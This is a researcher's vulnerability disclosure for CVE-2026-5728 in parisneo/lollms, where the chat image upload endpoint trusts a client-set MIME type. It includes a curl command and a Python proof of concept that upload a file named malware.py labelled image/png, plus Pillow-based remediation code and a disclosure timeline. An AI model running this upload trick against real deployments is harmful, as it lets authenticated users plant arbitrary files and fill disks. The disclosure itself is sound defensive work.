$ curl -F 'files=@malware.py;type=image/png' \
       -H 'Authorization: Bearer <token>' \
       http://localhost:9642/api/upload/chat_image
# 200 OK; response still carries malware.py in filename / server_path

That response lands for real against vulnerable parisneo/lollms builds: the chat image upload endpoint trusts whatever MIME type the client puts on the multipart part. I reported this on December 29th, 2025; it sits in the same audit thread as CVE-2026-0558, CVE-2026-0560, and CVE-2026-0562. Those issues were about missing auth, SSRF, and IDOR. This one is different: you need a valid account, but once you have a token, the “images only” rule is cosmetic.

What breaks

POST /api/upload/chat_image is meant for attaching images before a chat message. In backend/routers/files.py (around line 787), the gate is a single check on Starlette’s UploadFile.content_type:

for file in files:
    if not file.content_type.startswith("image/"):
        raise HTTPException(status_code=400, detail="Only image files are allowed.")
    # ... secure_filename, write to disk under user temp uploads

content_type comes from the multipart headers the client sends. It is not a server-side sniff of the body. There is no magic-byte check, no Pillow open/verify, no extension-to-content consistency rule beyond secure_filename on the original filename.

So a .py file (or anything else) passes as long as the part is labeled image/png or image/jpeg.

Severity in context

Huntr assigned MEDIUM with CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L): network reachable, low complexity, privileged (authenticated) user, no user interaction for the attack itself. Confidentiality is not the headline; integrity and availability of the upload path and disk are.

The scary part is not “PNG parser runs on Python bytes”. The real concern is what happens next. If anything in the pipeline treats paths under the upload tree as more than inert blobs (preview, conversion, shelling out, future feature that executes attachments), trusting the filename and folder layout becomes expensive. Even without code execution, two things stay on your plate: a caller can fill the disk with arbitrary content disguised as images, and the “images only” rule starts lying in your audit trail. Both land in incident response.

Proof of concept

Authenticated multipart upload with a spoofed part content type:

import requests

BASE_URL = "http://localhost:9642"
token = "..."  # Bearer for an active user

endpoint = f"{BASE_URL}/api/upload/chat_image"
headers = {"Authorization": f"Bearer {token}"}

files = {
    "files": ("malware.py", b"print('Malicious code executed!')", "image/png"),
}

response = requests.post(endpoint, headers=headers, files=files, timeout=10)
# Status: 200
# Body example: [{"filename":"malware.py","server_path":"35c13f76_malware.py"}]

Against a local LollMS instance: 200 OK, file written under the user’s temp uploads with the original extension preserved in the stored name pattern.

Remediation

Treat the header as a hint, not proof.

  1. Read the full body (once) and enforce a maximum size before decoding.
  2. Decode as an image with a real library, for example Pillow: Image.open(BytesIO(data)), then verify() to catch truncated or non-image payloads. If you need to resize or convert later, re-open from the same bytes after verify(); Pillow’s verify() call leaves the object unusable for further transforms.
  3. Optionally normalize output (e.g. re-encode to PNG or JPEG server-side) so what lands on disk is always a bitmap you produced, not opaque client bytes.
  4. Keep secure_filename (or stronger normalization) and avoid serving uploads with Content-Disposition: attachment surprises from user-controlled names.

A minimal directionally correct handler shape:

from PIL import Image
import io

@upload_router.post("/chat_image", response_model=List[Dict[str, str]])
async def upload_chat_image(
    files: List[UploadFile] = File(...),
    current_user: UserAuthDetails = Depends(get_current_active_user),
):
    temp_path = get_user_temp_uploads_path(current_user.username)
    uploaded_files = []
    for file in files:
        content_bytes = await file.read()
        if len(content_bytes) > 10 * 1024 * 1024:
            raise HTTPException(status_code=400, detail="File too large.")
        try:
            img = Image.open(io.BytesIO(content_bytes))
            img.verify()
            img.close()
        except Exception:
            raise HTTPException(status_code=400, detail="Invalid image file.")

        s_filename = secure_filename(file.filename)
        unique_filename = f"{uuid.uuid4().hex[:8]}_{s_filename}"
        file_path = temp_path / unique_filename
        with open(file_path, "wb") as buffer:
            buffer.write(content_bytes)

        uploaded_files.append({"filename": s_filename, "server_path": unique_filename})
    return uploaded_files

For production I would still re-encode to a fixed format and strip metadata unless you explicitly need originals. That closes a lot of “polyglot” and EXIF-side-channel issues the header check never touched.

Affected surface

Vulnerable while backend/routers/files.py still uses the content_type.startswith("image/") shortcut for /api/upload/chat_image. Check your installed commit against the vendor’s release notes. The fix lives in application code, not a dependency bump. If you pin to an older revision or run a fork, apply the Pillow check above by hand; nothing in the import graph will do it for you.

Disclosure timeline

  • December 29, 2025: Reported via huntr.dev with PoC
  • April 7, 2026: CVE-2026-5728 assigned and write-up published here

References